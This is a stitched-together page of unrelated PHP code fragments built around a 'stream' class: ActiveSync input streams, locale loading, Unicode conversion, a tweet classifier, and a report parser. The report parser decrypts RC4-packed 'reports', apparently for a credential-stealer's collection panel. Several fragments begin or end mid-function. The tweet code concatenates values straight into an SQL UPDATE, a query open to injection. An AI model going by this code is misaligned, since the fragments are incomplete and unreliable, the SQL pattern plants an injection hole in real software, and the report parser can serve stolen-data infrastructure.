Example #1
0
 /**
  * Return the full, raw, input stream. Used for things like SendMail request
  * where we don't have wbxml to parse. The calling code is responsible for
  * closing the stream.
  *
  * @return resource
  */
 public function getFullInputStream()
 {
     // Ensure the buffer was created
     $this->_getTempStream();
     $this->_buffer->add($this->_stream);
     $this->_buffer->rewind();
     return $this->_buffer->stream;
 }
Example #2
0
 /**
  * Return the full, raw, input stream. Used for things like SendMail request
  * where we don't have wbxml to parse. The calling code is responsible for
  * closing the stream.
  *
  * @return resource
  */
 public function getFullInputStream()
 {
     // Ensure the buffer was created
     $this->_getTempStream();
     // Need to read the stream into memeory since php://input isn't
     // always seekable (Bug: 13160);
     $this->_buffer->add($this->_stream->getString());
     $this->_buffer->rewind();
     return $this->_buffer->stream;
 }
Example #3
0
function locale($locale)
{
    global $gettext;
    if (!defined('TM_LOCALE')) {
        putenv('LC_ALL=' . $locale);
        setlocale(LC_ALL, $locale);
        require_once TM_LIB_DIR . 'third_party' . DS . 'gettext' . DS . 'gettext.php';
        require_once TM_LIB_DIR . 'stream.php';
        $mofile = TM_LOCALE_DIR . $locale . DS . 'LC_MESSAGES' . DS . 'messages.mo';
        $stream = new stream();
        if ($stream->open($mofile)) {
            $gettext = new gettext_reader($stream);
            define('TM_LOCALE', $locale);
        } else {
            return false;
        }
    }
    return TM_LOCALE;
}
Example #4
0
function unicode_to_utf8($string)
{
    $log = new debug_log();
    $stream = new stream($string, $log);
    $r = '';
    while ($stream->state && $stream->pos < $stream->datalen) {
        $r .= unicode_char_to_utf8($stream->read_word());
    }
    if (!$stream->state) {
        return false;
    }
    return $r;
}
 /**
  * @en Converts a string to uchar (uint8)
  * @ru Преобразует строку в беззнаковый символ (uint8)
  *
  * @param string $string
  *
  * @return int
  */
 public static function to_uchar($string)
 {
     return stream::to_uint8($string);
     # uint8 <=> uchar (1 byte required)
 }
 protected function process_report_data($data, $report_password)
 {
     if (strlen($data) == 0) {
         $this->log->add("ERR_NO_REPORT_DATA");
         return false;
     } else {
         if (strlen($data) < 12) {
             $this->log->add("ERR_INVALID_REPORT_DATALEN");
             return false;
         } else {
             if (strlen($data) > REPORT_LEN_LIMIT) {
                 $this->log->add("ERR_CANNOT_PROCESS_REPORT_MEMLIMIT");
                 return false;
             } elseif (strlen($data) == 12) {
                 // empty report
                 return true;
             }
         }
     }
     // extract crc32 checksum from datastream
     $crc_chk = data_int32(substr($data, strlen($data) - 4));
     // remove crc32 checksum from the data stream
     $data = substr($data, 0, -4);
     // check report validness
     $crc_chk = obf_crc32($crc_chk);
     if ((int) crc32($data) != (int) $crc_chk) {
         $this->log->add("ERR_REPORT_CRC_MISMATCH");
         return false;
     }
     $stream = new stream($data, $this->log);
     $report_id = $stream->read_strlen(8);
     if ($report_id == REPORT_CRYPTED_HEADER && $stream->state) {
         $decrypted_data = rc4Decrypt($report_password, substr($data, 8));
         // there's another crc32 checksum available to verify the decryption process
         // extract crc32 checksum from decrypted datastream
         $crc_chk = data_int32(substr($decrypted_data, strlen($decrypted_data) - 4));
         // remove crc32 checksum from the data stream
         $decrypted_data = substr($decrypted_data, 0, -4);
         // check report validness
         $crc_chk = obf_crc32($crc_chk);
         if ((int) crc32($decrypted_data) != (int) $crc_chk) {
             $this->log->add("ERR_REPORT_WRONG_PASSWORD");
             return false;
         }
         // update current stream with decrypted data
         $stream = new stream($decrypted_data, $this->log);
         $report_id = $stream->read_strlen(8);
     }
     if ($report_id == REPORT_PACKED_HEADER && $stream->state) {
         // unpack stream data
         $unpacked_len = $stream->read_dword();
         $packed_data = $stream->read_str();
         if ($unpacked_len > REPORT_LEN_LIMIT || strlen($packed_data) > REPORT_LEN_LIMIT) {
             $this->log->add("ERR_UNPACK_LEN_LIMIT");
             return false;
         }
         if (!strlen($packed_data)) {
             $this->log->add("ERR_UNPACK_NULL");
             return false;
         }
         $unpacked_data = "";
         if ($stream->state && strlen($packed_data)) {
             $unpacked_data = $this->unpack_stream($packed_data, $unpacked_len);
         }
         if (!strlen($unpacked_data)) {
             $this->log->add("ERR_UNPACK_FAIL");
             return false;
         }
         if (strlen($unpacked_data) > REPORT_LEN_LIMIT) {
             $this->log->add("ERR_UNPACK_LEN_LIMIT");
             return false;
         }
         $stream = new stream($unpacked_data, $this->log);
         $report_id = $stream->read_strlen(8);
     }
     if ($report_id != REPORT_HEADER || !$stream->state) {
         $this->log->add("ERR_INVALID_REPORT_HEADER");
         return false;
     }
     $version_id = ztrim($stream->read_strlen(8));
     if (!$stream->state) {
         $this->log->add("ERR_CANNOT_READ_VERSION_ID");
         return false;
     }
     if ($version_id != REPORT_VERSION) {
         $this->log->add("ERR_INVALID_VERSION_ID");
         return false;
     }
     $this->report_version_id = $version_id;
     while ($stream->state && $stream->pos < $stream->datalen) {
         if (!$this->import_module($stream, $this->log)) {
             $this->log->add("ERR_CANNOT_IMPORT_MODULE");
             return false;
         }
     }
     return $stream->pos == $stream->datalen && $stream->state;
 }
    if ($depth >= 30) {
        return false;
    }
    /* step through inArray */
    foreach ($inArray as $key => $val) {
        if (is_array($val)) {
            /* recurse on array elements */
            $newArray[$key] = utf8json($val);
        } else {
            /* encode string values */
            $newArray[$key] = utf8_encode($val);
        }
    }
    /* return utf8 encoded array */
    return $newArray;
}
switch ($action) {
    case "vote":
        include_once "stream.php";
        $main_class = new stream(1);
        $main_class->add_vote($json_data);
        break;
    case "get_tweets":
        include_once "classify.php";
        include_once "stream.php";
        $main_class = new stream(1);
        $main_class->get_tweets($json_data);
        break;
    default:
        break;
}
 /**
  * @en Deserialize following bytes as string
  * @ru Десериализовать строку из потока
  *
  * @param string $terminate_char
  *
  * @return string
  */
 public function string($terminate_char = "")
 {
     $string = null;
     $length = stream::size($this->stream);
     while ($this->stream[$this->offset] != $terminate_char and $this->offset < $length) {
         $string .= $this->stream[$this->offset];
         $this->offset_inc(RUDE_TYPE_SIZE_BYTE);
     }
     $this->offset_inc(RUDE_TYPE_SIZE_BYTE);
     # skip the "\0" character
     return $string;
 }
Example #9
0
 /**
  * Write a message to the log.
  *
  * @param  array  $event  event data
  * @return void
  */
 protected function _write($event)
 {
     $line = $this->_formatter->format($event);
     echo $line;
 }
        $main_class->classify_tweet(urldecode($tweet));
        break;
    case "classify":
        include_once "classify.php";
        $main_class = new classify();
        $main_class->add_tweets();
        $db->query("SELECT * FROM `init_tweets`");
        while ($tweet = $db->fetch_row()) {
            $db->query("UPDATE `init_tweets` SET `guess`='" . $main_class->classify_tweet($tweet['tweet']) . "' WHERE `id`=" . $tweet['id'], true);
        }
        break;
    default:
        $page = "tweet_display";
        include_once "classify.php";
        include_once "stream.php";
        $main_class = new stream();
        $main_class->get_tweets();
        break;
}
// include global js
if (is_array($config['global_js']) && sizeof($config['global_js']) != 0) {
    foreach ($config['global_js'] as $js_includes) {
        $tmpl_header->assign('include_path', $js_includes);
        $tmpl_header->parse('header.javascript_includes');
    }
}
// include page specific js
if (is_array($main_class->js_includes) && sizeof($main_class->js_includes) != 0) {
    foreach ($main_class->js_includes as $js_includes) {
        $tmpl_header->assign('include_path', $js_includes);
        $tmpl_header->parse('header.javascript_includes');